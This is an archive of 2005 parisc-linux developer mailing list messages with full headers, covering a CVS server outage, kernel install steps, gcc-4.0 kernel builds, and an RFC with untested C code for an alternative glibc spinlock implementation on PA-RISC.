List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZaC1YroEeSEkab6WZHQhaXN1IGRvbwC9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22861

> This w-e, I am trying to grab the new cvs 2.6.13-rc1 but:
> cvs [login aborted]: connect to cvs.parisc-linux.org(192.25.206.14):2401 
> failed: Connection timed out

The machine is down, and it's a long weekend in the US so it may take 
another day or two for somebody to go in and fix it. willy has already 
tried to reboot it remotely but that doesn't seem to be working.

That machine has been crashing a lot recently. Looks like we have some 
sort of kernel bug that is getting triggered quite easily on that box :(

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is the message from 'make modules_install'
	important?
Date: Sun, 3 Jul 2005 09:07:52 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200507031307.j63D7qPf015325__23406.3551681631$1416623831$gmane$org@hiauly1.hia.nrc.ca>
References: <5.1.1.6.1.20050703124208.02a57290@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623831 15464 80.91.229.3 (22 Nov 2014 02:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: jllee@singnet.com.sg (J. L. Lee)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2005 13:08:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 03 Jul 2005 15:08:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BD047D6C4;
	Sun,  3 Jul 2005 07:08:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22510-07; Sun, 3 Jul 2005 07:08:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4FD97D6CA;
	Sun,  3 Jul 2005 07:07:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E3527D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 07:07:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22586-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 07:07:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F0C337D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 07:07:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j63D7rnV015326; Sun, 3 Jul 2005 09:07:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j63D7qPf015325;
	Sun, 3 Jul 2005 09:07:52 -0400 (EDT)
In-Reply-To: <5.1.1.6.1.20050703124208.02a57290@pop.singnet.com.sg> from "J.
	L. Lee" at Jul 3, 2005 12:45:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Yoa1YukxeSEkYb6WZHQhaXN1IGRvbwDd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22862

> Did the 'make modules_install' complete its task or it stopped prematurely? 
> Pls adv.

Another related item is 'make install'.  In 2.6.10, it did a nicer job
of installing the kernel, and the vmlinux, config and System.map links.
It also searched for palo.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sun, 3 Jul 2005 14:47:15 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200507031847.j63IlFQZ016629@hiauly1.hia.nrc.ca>
References: <42C81991.6030502@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623831 15466 80.91.229.3 (22 Nov 2014 02:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2005 18:53:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 03 Jul 2005 20:53:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CC5D7D6E8;
	Sun,  3 Jul 2005 12:53:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24241-01; Sun, 3 Jul 2005 12:53:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AE3A7D6D5;
	Sun,  3 Jul 2005 12:53:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0629D7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 12:53:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24076-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 12:53:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4E6BB7D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 12:53:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j63IlGnV016630 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 14:47:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j63IlFQZ016629;
	Sun, 3 Jul 2005 14:47:15 -0400 (EDT)
In-Reply-To: <42C81991.6030502@tiscali.be> from "Joel Soete" at Jul 3,
	2005 05:00:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e1G6YnwueSEkXb6WZHQhaXN1IGRvb8Cp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22863

> > good news with gcc-4.0 (debian pakage) and '-mfixed-range=fr6-fr21,fr27-fr31'
> > 
> >     o 2.6.9-rc2-pa1 seems to works as fine as with original option
> >     o 2.6.9-rc2-pa13 the same 
> > 
> > (just have to backport some small stuff to  reach to compile kernels)
> > 
> > I apply my stress test (tar loops + kernel build loops) during a full day
> > for each one without any pb ;-)
> > 
> > I can now try a step forward: 2.6.10-pa + gcc-4.0, ...

I'll have to try a gcc-4.0 built kernel to see if it improves things
on the c3k.

Just a note, a patch to fix the function pointer canonicalization
issue that you and others noticed was installed Friday to the 4.0 branch,
and Saturday to the GCC head.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Sat, 2 Jul 2005 06:59:39 -0700
Lines: 288
Approved: news@gmane.org
Message-ID: <20050702135938.GV19114@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623831 15468 80.91.229.3 (22 Nov 2014 02:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2005 13:59:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 02 Jul 2005 15:59:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67E3B7D6BF;
	Sat,  2 Jul 2005 07:59:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15688-03; Sat, 2 Jul 2005 07:59:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68D1B7D6C1;
	Sat,  2 Jul 2005 07:59:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 318FF7D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 07:59:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15368-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Jul 2005 07:59:41 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 655DB7D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 07:59:41 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 30D4D111F7F; Sat,  2 Jul 2005 06:59:39 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jPi0YqJgeSEkTb6WZHQhaXN1IGRvb0B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22864

In order to satisfy the ldcw address alignment requirements of the
PA architecture, currently in glibc we implement locks in an
ingenious but rather difficult to manage way. We define a spinlock as
an array of 4 ints (16-bytes) at during lock time we select the
individual word that has correct alignment, and use that to do locking. 

This works, but experience has shown that it makes glibc implementation
and merging to upstream rather difficult. glibc is full of assumptions
that a spinlock is an "int", and, while it is getting better, there is
still a lot of code that assumes an uninitialized lock has the value "0"

There has been some proposals to redo our locking infrastructure. For
example, see willy's proposal at http://wiki.parisc-linux.org/Locks
This solves the "initialize to 0" problem, but it still makes glibc
implementation difficult because of the scalar lock assumption.

Attached is a compiled but untested code snippet that contains an
alternative proposal for how to handle spinlocks in glibc. Actual locks
are allocated dynamically and lazily. The exposed glibc lock type is
simply a "cookie" to the actual lock. This allows glibc to still
think of a lock as a scalar. Some obvious downsides are:

1) We are moving more compile-time work to run-time; requires memory
   allocation at run-time, potentially slow.
2) The pthread interface allows spinlock locking to fail, and this
   code may fail a locking operation if memory cannot be allocated,
   but most code probably don't handle this case and may deadlock
   or function incorrectly.
3) The code is not 64-bit clean, although that can be fixed if needed
   by making the lock cookie an index.

There are probably other problems. I *think* this code still works with
locks in shared memory, but I may be missing some cases.

Comments?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <assert.h>
#include <errno.h>

typedef int lock_t;

/* Exported interface */
int spin_init(lock_t *lock);
int spin_destroy(lock_t *lock);
int spin_lock(lock_t *lock);
int spin_unlock(lock_t *lock);
int spin_trylock(lock_t *lock);
int spin_is_locked(lock_t *lock);

/* Implementation */

/* The idea of this implementation is that each lock_t points to
 * a dynamically allocated, properly aligned lock.
 *
 * We manage these dynamically aligned locks as pages of locks. Each
 * lock page contains a header that contains a simple freelist of
 * lock objects.
 */

#define PAGESIZE 4096

struct lock_page;

/* An internal lock is a 16-byte structure that is allocated aligned
 * to a 16-byte boundary. The first word of the lock structure is
 * actually used to do ldcw. The other fields can be used for other
 * accounting purposes.
 */
struct internal_lock {
	int lockword;
	struct lock_page *page;
	short next;
	short pad1;
	int pad2;
};

/* Locks are allocated in pages; each page contains this header. */
struct lock_page_hdr {
	struct lock_page *next; /* Chain together allocated pages */
	short freelist; /* First available lock index in this page */
	/* Pad to 16-bytes, not really needed, but just to make
	 * it explicit.
	 */
	unsigned short pad1[3];
	int pad2;
};

#define LOCKS_PER_PAGE ((PAGESIZE - sizeof(struct lock_page_hdr))/sizeof(struct internal_lock))

struct lock_page {
	struct lock_page_hdr hdr;
	struct internal_lock locks[LOCKS_PER_PAGE];
};

/* Internal data */
static struct internal_lock __lock __attribute__((aligned(16))) = { 1, 0, 0, 0, 0 };
static struct lock_page *__lock_pages;

static int
__ldcw(void *a)
{
	int ret;
	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (ret) : "r" (a));
	return ret;
}

static void
__raw_spin_lock(struct internal_lock *l)
{
	while (__ldcw(&l->lockword))
		while (l->lockword == 0)
			/* spin */ ;
}

static void
__raw_spin_unlock(struct internal_lock *l)
{
	l->lockword = 0;
}

static lock_t
__allocate_lock(void)
{
	struct lock_page *p;
	short target;

	__raw_spin_lock(&__lock);
	for (p = __lock_pages; p != NULL; p = p->hdr.next)
		if (p->hdr.freelist >= 0)
			break;

	if (p == NULL) {
		void *m;
		int i;
		struct internal_lock *l;

		m = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0);
		if (m == MAP_FAILED) {
			__raw_spin_unlock(&__lock);
			return ENOMEM;
		}
		p = (struct lock_page *)m;
		p->hdr.freelist = 0;

		/* Initialize lock linked list */
		for (i = 0; i < LOCKS_PER_PAGE; i++) {
			l = &p->locks[i];
			l->lockword = 1;
			l->page = p;
			l->next = i + 1;
		}
		l->next = -1;

		p->hdr.next = __lock_pages;
		__lock_pages = p;
	}

	assert(p && p->hdr.freelist >= 0);

	target = p->hdr.freelist;
	p->hdr.freelist = p->locks[target].next;
	p->locks[target].next = -1;
	
	__raw_spin_unlock(&__lock);

	return (int)&p->locks[target];
}

static int
__free_lock(lock_t lock)
{
	struct lock_page *p;
	struct internal_lock *l;

	__raw_spin_lock(&__lock);
	l = (struct internal_lock *)lock;
	p = l->page;

	l->next = p->hdr.freelist;
	p->hdr.freelist = l - &p->locks[0];
	__raw_spin_unlock(&__lock);

	return 0;
}

static struct internal_lock *
__find_lock(lock_t lock)
{
	return (struct internal_lock *)lock;
}

int spin_init(lock_t *lock)
{
	*lock = __allocate_lock();
	if (*lock == 0)
		return ENOMEM;
	return 0;
}

int spin_destroy(lock_t *lock)
{
	if (*lock)
		return __free_lock(*lock);
	return 0;
}

int spin_lock(lock_t *lock)
{
	struct internal_lock *l;

	/* lazy lock init */
	if (*lock == 0) {
		if (spin_init(lock) != 0)
			return EINVAL;
	}

	l = __find_lock(*lock);
	if (!l)
		return EINVAL;

	__raw_spin_lock(l);
	return 0;
}

int spin_unlock(lock_t *lock)
{
	struct internal_lock *l;

	/* Assume unallocated locks are unlocked */
	if (*lock == 0)
		return 0;

	l = __find_lock(*lock);
	if (!l) 
		return EINVAL;

	__raw_spin_unlock(l);
	return 0;
}

int spin_trylock(lock_t *lock)
{
	struct internal_lock *l;

	/* lazy lock init */
	if (*lock == 0) {
		if (spin_init(lock) != 0)
			return EINVAL;
	}

	l = __find_lock(*lock);
	if (!l)
		return EINVAL;

	return __ldcw(&l->lockword) != 0 ? 0 : EBUSY;
}

int spin_is_locked(lock_t *lock)
{
	struct internal_lock *l;

	/* Assume unallocated locks are unlocked */
	if (*lock == 0)
		return 0;

	l = __find_lock(*lock);
	if (l)
		return l->lockword == 0;

	/* Assume invalid locks are unlocked */
	return 0;
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Mon, 4 Jul 2005 16:51:31 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <42BAE7C300003107@mail-5-bnl.tiscali.it>
References: <200507031847.j63IlFQZ016629@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623832 15472 80.91.229.3 (22 Nov 2014 02:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 14:51:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 04 Jul 2005 16:51:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AF327D6A2;
	Mon,  4 Jul 2005 08:51:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29507-09; Mon, 4 Jul 2005 08:51:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 544DB7D6A4;
	Mon,  4 Jul 2005 08:51:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 115BD7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 08:51:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28599-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jul 2005 08:51:39 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 217467D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 08:51:39 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-2 with esmtp (Exim)
	id 1DpSIF-00032p-JK; Mon, 04 Jul 2005 16:51:35 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 4 Jul 2005 16:51:31 +0200
In-Reply-To: <200507031847.j63IlFQZ016629@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XSi7YtxMeSEkb76WZHQhaXN1IGRvbwBf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22865

Hello Dave,

> 
> > > good news with gcc-4.0 (debian pakage) and '-mfixed-range=3Dfr6-fr2=
1,fr27-fr31'
> > > 
> > >     o 2.6.9-rc2-pa1 seems to works as fine as with original option
> > >     o 2.6.9-rc2-pa13 the same 
> > > 
> > > (just have to backport some small stuff to  reach to compile kernel=
s)
> > > 
> > > I apply my stress test (tar loops + kernel build loops) during a fu=
ll
> day
> > > for each one without any pb ;-)
> > > 
> > > I can now try a step forward: 2.6.10-pa + gcc-4.0, ...
> 
> I'll have to try a gcc-4.0 built kernel to see if it improves things
> on the c3k.
> 
cool ;-)

btw for the 2.6.10-pa11 I had to apply those small backports:
diff -NaurX dontdiff linux-2.6.10-pa10-20050112/arch/parisc/Makefile linu=
x-2.6.10-pa10-20050112-gcc40/arch/parisc/Makefile
--- linux-2.6.10-pa10-20050112/arch/parisc/Makefile     2005-01-04 07:37:=
20.000000000
+0100
+++ linux-2.6.10-pa10-20050112-gcc40/arch/parisc/Makefile       2005-07-0=
1
17:30:00.000000000 +0200
@@ -44,6 +44,7 @@
 # If that gets optimized, we might need to disable the use of fpregs in
the
 # kernel.
 #cflags-y      +=3D -mdisable-fpregs
+cflags-y       +=3D -mfixed-range=3Dfr6-fr21,fr27-fr31
 
 # Without this, "ld -r" results in .text sections that are too big
 # (> 0x40000) for branches to reach stubs.
diff -NaurX dontdiff linux-2.6.10-pa10-20050112/drivers/eisa/Makefile lin=
ux-2.6.10-pa10-20050112-gcc40/drivers/eisa/Makefile
--- linux-2.6.10-pa10-20050112/drivers/eisa/Makefile    2003-09-08 23:42:=
02.000000000
+0200
+++ linux-2.6.10-pa10-20050112-gcc40/drivers/eisa/Makefile      2005-07-0=
1
